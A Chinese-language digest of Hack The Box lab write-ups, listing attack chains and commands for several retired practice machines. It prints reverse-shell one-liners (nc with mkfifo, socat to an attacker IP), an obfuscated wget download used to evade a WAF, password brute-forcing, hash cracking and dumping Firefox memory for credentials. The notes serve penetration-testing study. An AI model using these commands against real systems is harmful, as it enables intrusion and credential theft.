国外Ahmed Hesham师傅记录了50多个Hack The Box环境的渗透Writeup,很有学习价值,其中的渗透流程十分清晰,这里我将其中的知识点和自己的思考分享给大家,也欢迎师傅们留言补充。
Paper:0xrick's Write-ups for hack-the-box
环境概述:Linux、Medium、30'、09 Nov 2019
渗透流程:Nmap -> Web Enumeration -> SQL injection –> Alexa’s Credentials –> SSH as Alexa –> User Flag -> JDWP –> Code Execution –> Root Shell –> Root Flag
知识点:
gobuster dir -u http://ai.htb/ -w /usr/share/wordlists/dirb/common.txt -x php
ffmpeg -i test.mp3 test.wav
。ps aux
查看root权限起的服务,使用netstat -ntlp
查看敏感端口;在Github上使用关键词搜索exp。思考:
环境概述:Linux、Hard、40'、06 Jul 2019
渗透流程:Nmap -> Web Enumeration -> FFmpeg HLS Vulnerability –> Arbitrary File Read -> Command Injection –> User Flag -> Credentials in fix.php –> RCE –> Shell as www-data -> Root Flag
知识点:
wfuzz --hc 403 -c -w subdomains-top1mil-5000.txt -H "HOST: FUZZ.player.htb" http://10.10.10.145
。.swp
, .bak
and ~
。masscan -p1-65535 10.10.10.145 --rate=1000 -e tun0
。nc ip port
可查看相应服务泄露的banner头,如SSH可看到版本。python -c "import pty;pty.spawn('/bin/bash')"
。思考:
.xxx.php.swp
文件是异常退出vi/vim编辑器时产生的文件,使用vi/vim -r xxx
恢复,除此之外,还有.xxx.php.swo
、.xxx.php.swn
等以sw+最后一个字母依次递增的后缀文件,各种编辑器异常退出产生的文件后缀不唯一。#Listener: socat file:`tty`,raw,echo=0 tcp-listen:4444 #Victim: socat exec:`bash -li`,pty,stderr,setsid,sigint,sane tcp:1xx.xxx.xxx.xxx:4444
。环境概述:Linux、Medium、30'、07 Sep 2019
渗透流程:Nmap -> Web Enumeration -> File Upload –> RCE –> Shell as www-data -> Database Access –> Clave’s Password –> SSH as Clave –> User Flag -> Reversing RemoteConnection.exe –> Root’s Password –> SSH as Root –> Root Flag
知识点:
scp [email protected]:/home/clave/RemoteConnection.exe ./
。思考:
findstr /si password *.xml *.ini *.txt
,查看后缀名文件中含有password关键字的文件;使用dir,dir /b/s config.*
,查看当前目录所有config.为前缀的文件。Linux下对应grep和find。postgres://user:[email protected]:5432/path?k=v#f
,包含了模式(协议)、验证信息、主机、端口、路径、查询参数和查询片段。注意:@
和#
。环境概述:Linux、Medium、30'、13 Jul 2019
渗透流程:Nmap -> Web Enumeration -> RCE –> Shell on Docker Container -> Gilfoyle’s Gogs Credentials –> SSH Key –> SSH as Gilfoyle –> User Flag -> Vault –> One-Time SSH Password –> SSH as root –> Root Flag
知识点:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f
。Popen(["nc","-lvnp",port])
。/根目录
发现了.dockerenv
文件,判定当前环境为Docker容器。ssh -i private.key user@host
。.xxx
文件,往往都是服务的配置文件,可快速定位当前用户常使用的软件服务。思考:
cat /etc/*release
。Docker可以通过查看网络接口来简单判断,ip a
。ls -lat
按时间顺序来查看当前目录下的文件。环境概述:Linux、Insane、50'、01 Jun 2019
渗透流程:Nmap -> DNS -> Web Enumeration -> auth.py: Analysis -> session.so: Analysis –> Authentication Bypass -> WAF Bypass –> RCE –> Shell as dzonerzy –> Root Flag -> dhid.ko: Enumeration -> dhid.ko: Analysis -> dhid.ko: Exploitation –> Root Shell –> Root Flag
知识点:
dig axfr smasher2.htb @10.10.10.135
。diff getinternalusr getinternalpwd
。'w'g'e't 'h't't'p':'/'/'1'0'.'1'0'.'x'x'.'x'x'/'t'e's't'
。~/.ssh/authorized_keys
,chmod 600 ~/.ssh/authorized_keys
。 /var/log/
。思考:
dig +nostats +nocomments +nocmd NS smasher2.htb
;Windows下可使用nslookup交互式界面,指定NS,server 10.10.10.135
,列出DNS记录,ls -d smasher2.htb
。环境概述:Linux、Medium、30'、14 Sep 2019
渗透流程:Nmap -> Web Enumeration -> RCE -> WAF Bypass –> Shell as www-data -> Screen 4.5.0 –> Root Shell –> User & Root Flags
知识点:
wfuzz -c -X POST -d "username=admin&password=FUZZ" -w ./darkweb2017-top10000.txt http://wall.htb/centreon/api/index.php?action=authenticate
。searchsploit centreon
,发现存在RCE。${IFS}
,绕过WAF。gcc -fPIC -shared -ldl -o libhax.so libhax.c
。umask 000
,对所有位都不mask(掩码),新建文件和文件夹均为默认权限,并无存在意义。思考:
用户名:密码
的base64编码,Authorization: Basic YWRtaW46YWRtaW4=
;使用Burpsuite爆破,在intruder模块选中base64字段,payload type选择Custom iterator,分别设置用户名字典、:、密码字典
。${IFS}
可代替空格外,还有<>
重定向符、{,}
格式包裹,参考我的博客总结Some-tricks-of-Linux-in-CTF。find / -user root -perm -4000 -print 2>/dev/null
,可参考Linux利用SUID权限提权例子);有哪些程序可用来提权,可以利用gtfobins工具快速判断。环境概述:Windows、Easy、20'、10 Aug 2019
渗透流程:Nmap -> Web Enumeration -> Enumerating Users –> Shell as Chase –> User Flag -> Administrator Password from Firefox Process Dump –> Shell as Administrator –> Root Flag
知识点:
smbclient --list //heist.htb/ -U ""
。john --wordlist=/usr/share/wordlists/rockyou.txt ./hash.txt
。lookupsid.py hazard:[email protected]
;使用 evil-winrm,Windows远程管理(WinRM)Shell登陆chase用户终端。.\procdump64.exe -accepteula -ma 4980
。cmd /c "strings64.exe -accepteula firefox.exe_191129_211531.dmp > firefox.exe_191129_211531.txt"
,与Linux下strings无异;使用findstr寻找password,findstr "password" ./firefox.exe_191129_211531.txt
。思考: